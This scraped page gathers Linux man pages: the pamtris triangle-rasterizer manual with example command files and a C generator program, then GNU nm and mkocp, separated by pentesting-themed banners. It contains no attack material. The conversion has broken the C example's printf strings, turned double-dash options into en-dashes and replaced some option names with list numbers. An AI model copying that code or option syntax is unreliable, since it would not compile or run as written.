Prior to effectively writing a PAM image to Standard Output, pamtris first rasterizes it onto an internal frame buffer, which consists of an “image buffer” and a “depth buffer.” The image buffer consists of a sequence of height rows containing a sequence of width tuples. There is one sample for each vertex attribute in every tuple plus an opacity (alpha) sample. Each tuple in the image buffer is also associated with an integer depth in the depth buffer, which determines whether subsequent drawing operations affect that particular tuple or not. This provides a way of depth-sorting graphical objects which is adequate for many purposes in 2D and 3D computer graphics. One prominent shortcoming of such an approach to depth-sorting, however, is that it does not automatically work with objects which are intended to appear “translucent,” therefore requiring more elaborate strategies to incorporate said objects into pictures generated using this technique.

The opacity sample is the last sample of the tuple. pamtris manipulates opacity internally and for any tuple it is always either 0 or the maxval. The program does not provide the user direct control over the alpha image plane.

pamtris rasterizes triangles by approximating their visible area as a collection of tuples at particular positions in the frame buffer, and to each sample of every such tuple it assigns a value which is a perspective-correct interpolation between the values of the corresponding attribute for each vertex of the triangle. Whenever a tuple within the area of the frame buffer is produced, it is written to the corresponding position in the frame buffer if and only if it passes a depth test. This test works as follows: the depth value of every incoming tuple (which is itself an interpolation between the Z-coordinates of the vertices of the corresponding triangle) is compared against the value in the corresponding position in the depth buffer. If the depth value of the incoming tuple equals or is smaller than the depth value already present in said position in the depth buffer, the following happens.

  • Every sample i, where 0 ≤ i < num_attribs, of the tuple in the corresponding position in the image buffer is set to equal the value of the respective sample of the incoming tuple; and the alpha sample (the last one) is updated to the maxval;

  • The depth value in the corresponding position in the depth buffer is updated to a depth value directly proportional to that of the incoming tuple.

Otherwise, that particular tuple effects no change at all in the frame buffer.

The frame buffer is initially set so that all samples in every tuple of the image buffer contain the value 0, and all entries in the depth buffer contain the maximum permitted depth value.

The attributes’ values, and therefore the samples in the output PAM images, have no fixed interpretation ascribed to them (except for the last image plane, which is deliberately supposed to represent tuple opacity information); one may ascribe any suitable meaning to them, such as that of colors, texture coordinates, surface normals, light interaction characteristics, texture influence coefficients for multi-texturing, etc.

EXAMPLES

Fan Mode

The following command generates the image from the fan mode example at the top of the DESCRIPTION section. If the file fan.tris contains that code, you could process it with:

    $ pamtris -height=200 -width=200 -rgb <fan.tris >fan.pam

Strip Mode

The following is an example of strip mode:

      mode strip
      attribs 255 0 0   # red
      vertex   0 200 1
      vertex  50   0 1
      attribs 0 0 0     # black
      vertex 100 200 1
      attribs 0 205 205 # cyan
      vertex 150 0 1
      attribs 0 0 255   # blue
      vertex 200 200 1
      vertex 250   0 1
      print

Save the above code in a file named strip.tris (for instance) and process it with:

    $ pamtris -height=200 -width=200 -rgb <strip.tris >strip.pam

to yield:

Example pamtris output for STRIP mode

Triangle Mode

The following is an example of triangle mode:

      # yellow square
      mode strip
      attrib 155 155 0
      vertex 50  50 100
      vertex 50 200 100 
      vertex 200 50 100
      vertex 200 200 100
      
      # blue triangle
      mode triangles
      attrib 0 205 205
      vertex 20 125 70
      attrib 0 0 140
      vertex 230  70 120 # Change "120" and see what happens
      vertex 230 180 120 #
      print

Save the above code in a file named pierce.tris (for instance) and process it with:

    $ pamtris -height=200 -width=200 -rgb <pierce.tris >pierce.pam

to yield:

Example pamtris output for TRIANGLES mode

Meta-programming

The pamtris command language is much too rudimentary to be used directly for any serious drawing; you will probably want to use a general purpose programming language to generate a temporary pamtris command file.

For example, the draw_polygon procedure in the C program below outputs pamtris instructions to draw a regular polygon. It does this by generating a number of vertex instructions tracing around the perimeter of the corresponding circumscribed circle. (Note: The PAM image produced by piping the output of the below program into pamtris was subsequently downscaled through pamscale -linear -xscale 0.25 -yscale 0.25 to achieve an anti-aliased effect.)

Regular Polygons

/* ----------------------- *
 * width       = 512       *
 * height      = 512       *
 * num_attribs = 3         *
 * tupletype   = RGB_ALPHA *
 * ----------------------- */

#include <math.h>
#include <stdio.h>
#include <stdlib.h>

#define PI 3.14159265358979323844

void draw_polygon
(int const center_x, int const center_y, int const radius, int const sides)
{
    printf("mode fan

" “vertex %d %d 0 “, center_x, center_y);

    for(int i = 0; i <= sides; i++)
    {
        int const x = round(center_x + radius * cos(i*2.0*PI / sides));
        int const y = round(center_y - radius * sin(i*2.0*PI / sides));

        printf("vertex %d %d 0

“, x, y); } }

int main(void)
{
    puts("attribs 0 185 80");       /* color: green   */
    draw_polygon(300, 210, 150, 5); /* draws pentagon */

    puts("attribs 255 15 240");     /* color: magenta */
    draw_polygon(150, 320, 100, 7); /* draws heptagon */

    puts("!");
}

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtris recognizes the following command line options:

<dl compact=“compact”>

**-width=**width
Sets the width of the internal frame buffer and, by extension, of the output PAM images, given in number of columns. This must be an integer in the closed range [1, 8192].

This option is mandatory.

**-height=**height
This is the height of the internal frame buffer and, by extension, of the output PAM images, given in number of rows. This must be an integer in the closed range [1, 8192].

This option is mandatory.

**-num_attribs=**attributes_per_vertex
This is the number of attributes per vertex. The depth of the output PAM images equals this value plus one (to accommodate the alpha plane). The argument must be an integer in the closed range [1, 20].

The input instruction stream may override this with a reset command.

You must specify exactly one of -num_attribs, -rgb, and -grayscale.

**-tupletype=**tupletype
This is the tuple type for the output PAM images. The argument is a string which may be no longer than 255 characters.

The input instruction stream may override this with a reset command.

The default is a null string.

This option cannot be specified together with -rgb or -grayscale.

-rgb
This is a convenience option which simply serves as an alias for **-num_attribs=**3 **-tupletype=**RGB_ALPHA. In other words, this option is a quick way to specify that you are going to use pamtris to draw RGB(_ALPHA) color images directly, and the three vertex attributes are the red, green and blue levels of the color associated with the vertex, in that order.

The input instruction stream may override this with a reset command.

You must specify exactly one of -num_attribs, -rgb, and -grayscale.

This option was new in Netpbm 10.85 (December 2018).

-grayscale
Another convenience option, similar to -rgb; except this one is an alias for **-num_attribs=**1 -tupletype=GRAYSCALE_ALPHA. The one vertex attribute is the gray level associated with the vertex.

The input instruction stream may override this with a reset command.

You must specify exactly one of -num_attribs, -rgb, and -grayscale.

This option was new in Netpbm 10.85 (December 2018).

**-maxval=**maxval
Sets the maxval of the output PAM images, which is also the maximum permitted value for each vertex attribute. This must be an integer in the closed range [1, 65535].

The default value is 255.

The input instruction stream may override this with a reset command.

INSTRUCTION CODE

The input for pamtris consists of a stream of text lines read from Standard Input.

Empty lines or lines that contain only white space characters are called blank lines and are ignored.

When a # occurs anywhere in a line, pamtris ignores it along with every character after it. In other words, everything from the # until the end of the line receives the same treatment as white space.

Lines which are not blank must contain a sequence of strings, called tokens, separated by white space. The first such token must be one of the commands recognized by pamtris, and all further tokens are interpreted as the arguments for that command, if it takes any. When an insufficient number of arguments is provided for a command, the line is considered invalid and is given the same treatment as a blank line. The same happens when an out of range argument or one of a kind different of what is expected is given (for example, when you give a string of letters where a numerical value is expected), or when an unrecognized command/argument is found. When a number of arguments greater than that required for a particular command is provided, only the portion of the line up to the last required argument is considered and any further tokens are ignored.

pamtris is case-insensitive. That is, mode, MODE, mODe, etc. are all treated the same way.

The commands recognized by pamtris are:

mode
attribs
vertex
print
clear
reset
quit

You may use a minimum unique abbreviation of a command name. You may use an exclamation mark (!) in place of the print command name and an asterisk (*) in place of clear.

The functions of the commands are as follows.

mode { triangles | strip | fan }
This makes pamtris enter a new drawing mode. The argument is a word which specifies the mode to change to. Instead of a full argument name, it is permissible to provide a minimum unique abbreviation, which has the same effect. The drawing mode will remain the same until the next mode command is given.

This command also resets the current vertex list, which is (re)initialized to an empty state after the command is executed. One may add new vertices to this list through successive invocations of the vertex command (see below). You do not have to worry about providing “too many” vertices, since the vertex list is virtualized: pamtris maintains only the state pertaining to three vertices at any one time. The current vertex list is initially empty.

It is permissible to give pamtris a mode command which instructs it to enter a drawing mode it is currently already in. One might use this approach to reset the current vertex list without changing the current drawing mode.

Regardless of the current drawing mode, the program immediately rasterizes a new triangle into the frame buffer as soon as you provide the necessary vertices for it through the current vertex list. (If you reset the vertex list before giving all the vertices necessary to draw a new triangle, the program effectively discards from the list any vertices that might have been pushed into the vertex list up to that point without using them to draw any new triangles.)

In the following descriptions of each drawing mode, triangles’ and vertices’ indices (ordinal numbers) are 0-based.

The triangles argument instructs pamtris to enter the “TRIANGLES” drawing mode. While in this mode, a series of separate triangles is constructed. Every three vertices pushed into the current vertex list specify a new triangle. Formally, this means that every Nth triangle is specified by vertices 3*N, 3*N + 1, and 3*N + 2. This is the default initial mode and is therefore not required to be set explicitly before drawing any triangles.

The strip argument instructs pamtris to enter the “STRIP” drawing mode. While in this mode, pamtris constructs a “triangle strip.” That is, the first three vertices pushed into the current vertex list specify the first triangle, and every new vertex pushed after that specifies, together with the previous two, the next triangle. Formally, this means that every Nth triangle is specified by vertices N, N + 1, and N + 2.

The fan argument instructs pamtris to enter the “FAN” drawing mode. While in this mode, a so-called “triangle fan” is constructed. That is, the first three vertices pushed into the current vertex list specify the first triangle, and every new vertex pushed after that specifies, together with the previous vertex and the first one, the next triangle. Formally, this means that every Nth triangle is specified by vertices 0, N + 1, and N + 2.

attribs a<sub>0 a<sub>1
a<sub>2a<sub>num_attribs - 1

This updates the current attribute values list. This command takes as arguments a sequence of num_attribs integers which represent the values of the attributes to be associated with the next vertex. This sequence of values is the just mentioned “current attribute values list.”

Each ith argument, where 0 ≤ i < num_attribs, indicates the value to be assigned to the ith attribute of the current attribute values list. All arguments must be integer values in the closed range [0, maxval]. If a number of arguments less than the current value of num_attribs is given, the command is considered invalid and is therefore ignored.

The current attribute values list remains unchanged until the next valid attribs or reset command is given. The attribs command allows one to change the values of each attribute individually, while the reset command is not specifically designed for that function, but it has the side effect of setting all values in the current attribute values list to the maxval (see below).

All values in the current attribute values list are initially set to the maxval.

<dt id=“cmd_vertex”>vertex x y z [w]

Adds a new vertex to the current vertex list (see the mode command above), assigning the values of the arguments to its respective coordinates, and the values in the current attribute values list (see the attribs command above) to the respective entries in the attribute list associated with the vertex.

x, y and z must be integer values in the closed range [-32767, 32767]. x and y represent, respectively, the column and row of the tuple which corresponds to the location of the vertex. Such values may correspond to tuples outside the limits of the frame buffer. The origin of the coordinate system is at the top-left tuple of the frame buffer. The X-axis goes from left to right, and the Y-axis from top to bottom. A negative value for x indicates a column that many tuples to the left of the leftmost column of the frame buffer. Likewise, a negative value for y indicates a row that many tuples above the uppermost row of the frame buffer. Observe that those coordinates correspond directly to a particular point in the coordinate system delineated above, regardless of whether you are trying to draw an image which is supposed to look as if viewed “in perspective” or not; pamtris does not “warp” the coordinates you give in any way. Therefore, if you want to draw images in perspective, you must compute values for x and y already projected into pamtris’ coordinate system yourself, using an external perspective projection method, prior to giving them to the program.

The z parameter represents the Z-coordinate of the vertex, which is used to compute depth values for tuples within the areas of rasterized triangles. Intuitively, smaller values for z mean “closer to the viewer,” and larger ones mean “farther away from the viewer” (but remember: as said above, the x and y coordinates are not warped in any way, which implies that they are not affected by z; neither by the next parameter, for that matter).

Optionally, you may provide a w parameter which represents a “perspective correction factor” used to properly interpolate vertex attributes across the area of the corresponding triangle. This must be an integer value in the closed range [1, 1048575]. If you don’t provide a value for it, the default value of 1 is used (hence, if you want to nullify the effects of perspective correction on a triangle so the output samples are computed as if just linearly interpolated, simply do not provide a value for w for any vertex of the triangle). If, however, you intend to draw 3D geometry in perspective, you must provide an appropriate value for this parameter, otherwise the output images might look very wrong. w was new in Netpbm 10.85 (December 2018).

Consider the typical model of the so-called “viewing frustum” used to project vertices in 3D “world space” onto a planar “image space.” If we adopt the convention that a “z-plane” means any plane parallel to the view-plane (a.k.a. picture plane, a.k.a. near plane), the value of w for a vertex should then be the (smallest/euclidean/orthogonal) distance in pixels between the projection reference point (PRP, or “eye”) and the z-plane containing the vertex. One way to compute this value amounts to simply taking the dot product between the 3D vector r and the 3D unit vector n, where r is the vector which goes from the projection reference point (PRP, or “eye”) to the vertex, and n is a view-plane normal (VPN) of unit length which points away from the PRP. In other words, this is equal to the length of the orthogonal projection of r on the line “determined” by n.

(Note: For any two 3D vectors a and b, with respective real scalar components a<sub>x, a<sub>y, a<sub>z and b<sub>x, b<sub>y, b<sub>z, the dot product between a and b is simply a<sub>x*b<sub>x + a<sub>y*b<sub>y + a<sub>z*b<sub>z.)

print
This writes a PAM image to Standard Output whose raster is a copy of the current contents of the image buffer. The values of the WIDTH and HEIGHT fields are the same as the width and height, respectively, of the frame buffer, which were given on the command line during program invocation. The MAXVAL field is equal to the current maxval; the DEPTH field is equal to the current value of num_attribs + 1; and the TUPLTYPE field is equal to the current tupletype.

This command has no effect upon the current drawing state. E. g. it does not modify the current drawing mode, the current vertex list, etc.

One may issue an arbitrary number of print commands at different positions in the input instruction sequence to produce a multi-image PAM stream.

clear [ image | depth ]
Clears the frame buffer. That is, all samples in the image buffer are once again set to 0, and all entries in the depth buffer are once again set to the maximum permitted depth value.

Optionally, one may provide an argument to only clear either the image buffer or the depth buffer individually, while leaving the other intact. With the image argument, only the image buffer is cleared; with the depth argument, only the depth buffer is cleared. Instead of full argument names, one may provide a minimum unique abbreviation, which has the same effect. The single character z is also accepted as an alias for depth.

Like the print command, this command has no effect upon the current drawing state either.

reset maxval num_attribs [tupletype]
This updates the current maxval and number of attributes per vertex (num_attribs), resetting the <u>image</u> buffer with a new maxval and number of samples per tuple while at it. The parameter maxval must be an integer in the closed range [1, 65535], and num_attribs must be an integer in the closed range [1, 20].

Optionally, after the second argument, one may provide a string to be assigned to the current tupletype. The string goes from the first character after the second argument which is not white space and continues until (and including) the last character before the end of the line which is not white space. If a new tupletype is not provided, or the provided string is longer than 255 characters, the empty string is assigned to the current tupletype.

The side effects of running this command are

  • The new image buffer is completely cleared once the command is executed.

  • All values in the current attribute values list are set to the new maxval.

  • The current vertex list is reset.

However, it does not touch the depth buffer: it is left the same way as it was found before the command. Also the drawing mode remains the same (e. g. if pamtris was in FAN mode, it will continue in that same mode, etc.).

If this command is given with an invalid value for maxval or num_attribs, it is ignored and therefore none of the above side effects apply, nor do the current maxval, num_attribs or tupletype change at all.

It is permissible to give a value for maxval and num_attribs equal to the current maxval and num_attribs, respectively, although the above side effects will still apply even in such cases.

Since this command deals with memory allocation, it may fail to execute successfully. If that happens, no lines of input will be read anymore and pamtris will be terminated as if the quit command was given.

quit
This terminates pamtris. It will not read any more lines of input after this command.

TIPS

Texturing

It is possible to apply so-called “textures” to images produced with pamtris by using a pair of vertex attributes as texture coordinates, then using pamchannel(1) to select the appropriate channels in the output image(s), and finally processing the result through pamlookup(1) , providing the desired texture file as a “lookup table.” If you are drawing pictures in perspective, make sure to provide adequate values for the w parameter to your vertex commands ( see above ) so that the resulting samples in the images produced by pamtris are perspective-correct. You might want to consider using pnmtile(1) to make textures which are inteded to be “repeated” along triangle meshes.

The animated GIF below is an example of what can be achieved using the technique described above (Earth texture from nasa.gov ).

Rotating Earth

Anti-aliased edges

pamtris performs no anti-aliasing on triangle edges by itself. However, it is possible to obtain anti-aliased images through a “super-sampling” approach: draw your image(s) at a size larger than the desired final size, and then, when all postprocessing is done, downscale the final image(s) to the desired size. Drawing images with twice the desired width and height, then downscaling them to the intended size while disregarding gamma (i.e. what pamscale -linear does) often produces good enough results; but the larger the ratio “size of original image” / “size of downscaled image” , the better the quality of the anti-aliasing effect.

SEE ALSO

pampick(1) pamchannel(1) pamstack(1) pamlookup(1) pamarith(1) pamscale(1) pamdepth(1) pamexec(1) pam(1)

HISTORY

pamtris was new in Netpbm 10.84 (September 2018).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtris.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1367 - Linux cli command x86_64-linux-gnu-nm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-nm and provides detailed information about the command x86_64-linux-gnu-nm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-nm.

NAME 🖥️ x86_64-linux-gnu-nm 🖥️

list symbols from object files

SYNOPSIS

nm [-A|-o|–print-file-name] [-a|–debug-syms] [-B|–format=bsd] [-C|–demangle[=style]] [-D|–dynamic] [-fformat|–format=format] [-g|–extern-only] [-h|–help] [–ifunc-chars=CHARS] [-j|–format=just-symbols] [-l|–line-numbers] [–inlines] [-n|-v|–numeric-sort] [-P|–portability] [-p|–no-sort] [-r|–reverse-sort] [-S|–print-size] [-s|–print-armap] [-t radix|–radix=radix] [-u|–undefined-only] [-U|–defined-only] [-V|–version] [-W|–no-weak] [-X 32_64] [–no-demangle] [–no-recurse-limit|–recurse-limit]] [–plugin name] [–size-sort] [–special-syms] [–synthetic] [–target=bfdname] [–unicode=method] [–with-symbol-versions] [–without-symbol-versions] [objfile…]

DESCRIPTION

GNU nm lists the symbols from object files objfile…. If no object files are listed as arguments, nm assumes the file a.out.

For each symbol, nm shows:

  • The symbol value, in the radix selected by options (see below), or hexadecimal by default.

  • The symbol type. At least the following types are used; others are, as well, depending on the object file format. If lowercase, the symbol is usually local; if uppercase, the symbol is global (external). There are however a few lowercase symbols that are shown for special global symbols (u, v and w).

    “A”
    The symbol’s value is absolute, and will not be changed by further linking.

    “B”

    “b”

    The symbol is in the BSS data section. This section typically contains zero-initialized or uninitialized data, although the exact behavior is system dependent.

    “C”

    “c”

    The symbol is common. Common symbols are uninitialized data. When linking, multiple common symbols may appear with the same name. If the symbol is defined anywhere, the common symbols are treated as undefined references. The lower case c character is used when the symbol is in a special section for small commons.

    “D”

    “d”

    The symbol is in the initialized data section.

    “G”

    “g”

    The symbol is in an initialized data section for small objects. Some object file formats permit more efficient access to small data objects, such as a global int variable as opposed to a large global array.

    “i”
    For PE format files this indicates that the symbol is in a section specific to the implementation of DLLs. For ELF format files this indicates that the symbol is an indirect function. This is a GNU extension to the standard set of ELF symbol types. It indicates a symbol which if referenced by a relocation does not evaluate to its address, but instead must be invoked at runtime. The runtime execution will then return the value to be used in the relocation. Note - the actual symbols display for GNU indirect symbols is controlled by the –ifunc-chars command line option. If this option has been provided then the first character in the string will be used for global indirect function symbols. If the string contains a second character then that will be used for local indirect function symbols.

    “I”
    The symbol is an indirect reference to another symbol.

    “N”
    The symbol is a debugging symbol.

    “n”
    The symbol is in a non-data, non-code, non-debug read-only section.

    “p”
    The symbol is in a stack unwind section.

    “R”

    “r”

    The symbol is in a read only data section.

    “S”

    “s”

    The symbol is in an uninitialized or zero-initialized data section for small objects.

    “T”

    “t”

    The symbol is in the text (code) section.

    “U”
    The symbol is undefined.

    “u”
    The symbol is a unique global symbol. This is a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

    “V”

    “v”

    The symbol is a weak object. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the weak symbol becomes zero with no error. On some systems, uppercase indicates that a default value has been specified.

    “W”

    “w”

    The symbol is a weak symbol that has not been specifically tagged as a weak object symbol. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the symbol is determined in a system-specific manner without error. On some systems, uppercase indicates that a default value has been specified.

    “-”
    The symbol is a stabs symbol in an a.out object file. In this case, the next values printed are the stabs other field, the stabs desc field, and the stab type. Stabs symbols are used to hold debugging information.

    “?”
    The symbol type is unknown, or object file format specific.

  • The symbol name. If a symbol has version information associated with it, then the version information is displayed as well. If the versioned symbol is undefined or hidden from linker, the version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol, then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-A

-o

–print-file-name

Precede each symbol by the name of the input file (or archive member) in which it was found, rather than identifying the input file once only, before all of its symbols.

-a

–debug-syms

Display all symbols, even debugger-only symbols; normally these are not listed.

-B
The same as –format=bsd (for compatibility with the MIPS nm).

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-D

–dynamic

Display the dynamic symbols rather than the normal symbols. This is only meaningful for dynamic objects, such as certain types of shared libraries.

-f format

–format=format

Use the output format format, which can be bsd, sysv, posix or just-symbols. The default is bsd. Only the first character of format is significant; it can be either upper or lower case.

-g

–extern-only

Display only external symbols.

-h

–help

Show a summary of the options to nm and exit.

–ifunc-chars=CHARS
When display GNU indirect function symbols nm will default to using the i character for both local indirect functions and global indirect functions. The –ifunc-chars option allows the user to specify a string containing one or two characters. The first character will be used for global indirect function symbols and the second character, if present, will be used for local indirect function symbols.

  1. The same as –format=just-symbols.

-l

–line-numbers

For each symbol, use debugging information to try to find a filename and line number. For a defined symbol, look for the line number of the address of the symbol. For an undefined symbol, look for the line number of a relocation entry which refers to the symbol. If line number information can be found, print it after the other symbol information.

–inlines
When option -l is active, if the address belongs to a function that was inlined, then this option causes the source information for all enclosing scopes back to the first non-inlined function to be printed as well. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-n

-v

–numeric-sort

Sort symbols numerically by their addresses, rather than alphabetically by their names.

-p

–no-sort

Do not bother to sort the symbols in any order; print them in the order encountered.

-P

–portability

Use the POSIX.2 standard output format instead of the default format. Equivalent to -f posix.

-r

–reverse-sort

Reverse the order of the sort (whether numeric or alphabetic); let the last come first.

-S

–print-size

Print both value and size of defined symbols for the bsd output style. This option has no effect for object formats that do not record symbol sizes, unless –size-sort is also used in which case a calculated size is displayed.

-s

–print-armap

When listing symbols from archive members, include the index: a mapping (stored in the archive by ar or ranlib) of which modules contain definitions for which names.

-t radix

–radix=radix

Use radix as the radix for printing the symbol values. It must be d for decimal, o for octal, or x for hexadecimal.

-u

–undefined-only

Display only undefined symbols (those external to each object file). By default both defined and undefined symbols are displayed.

-U

–defined-only

Display only defined symbols for each object file. By default both defined and undefined symbols are displayed.

-V

–version

Show the version number of nm and exit.

-X
This option is ignored for compatibility with the AIX version of nm. It takes one parameter which must be the string 32_64. The default mode of AIX nm corresponds to -X 32, which is not supported by GNU nm.

–plugin name
Load the plugin called name to add support for extra target types. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then nm iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make nm use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–size-sort
Sort symbols by size. For ELF objects symbol sizes are read from the ELF, for other object types the symbol sizes are computed as the difference between the value of the symbol and the value of the symbol with the next higher value. If the bsd output format is used the size of the symbol is printed, rather than the value, and -S must be used in order both size and value to be printed. Note - this option does not work if –undefined-only has been enabled as undefined symbols have no size.

–special-syms
Display symbols which have a target-specific special meaning. These symbols are usually used by the target for some special processing and are not normally helpful when included in the normal symbol lists. For example for ARM targets this option would skip the mapping symbols used to mark transitions between ARM code, THUMB code and data.

–synthetic
Include synthetic symbols in the output. These are special symbols created by the linker for various purposes. They are not shown by default since they are not part of the binary’s original source code.

–unicode=[default|invalid|locale|escape|hex|highlight]
Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-W

–no-weak

Do not display weak symbols.

–with-symbol-versions

–without-symbol-versions

Enables or disables the display of symbol version information. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2. By default, symbol version information is displayed.

–target=bfdname
Specify an object code format other than your system’s default format.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1368 - Linux cli command mkocp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkocp and provides detailed information about the command mkocp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkocp.

NAME 🖥️ mkocp 🖥️

frontend to otp2ocp(1)

SYNOPSIS

mkocp OTPFILE

DESCRIPTION

mkocp is used to create or recreate Omega Compiled Process files (binary) from Omega Translation Process (text) files.

Omega Translation Processes are used to translate one character set to another and to choose between characters with one or more context-sensitive variants. OTPs could also be used to change the case or hyphenation of text.

OTPs are defined in text files, and compiled into binary code (OCPs) using mkocp (this script) or directly with otp2ocp(1).

FILES

OTPFILE
An Omega Typesetting Process filter file.

SEE ALSO

omega(1), otp2ocp(1).

<https://ctan.org/pkg/omega>

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (public mailing list).

AUTHOR

mkocp is part of Omega. The primary authors of Omega are John Plaice and Yannis Haralambous.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1369 - Linux cli command pamperspective

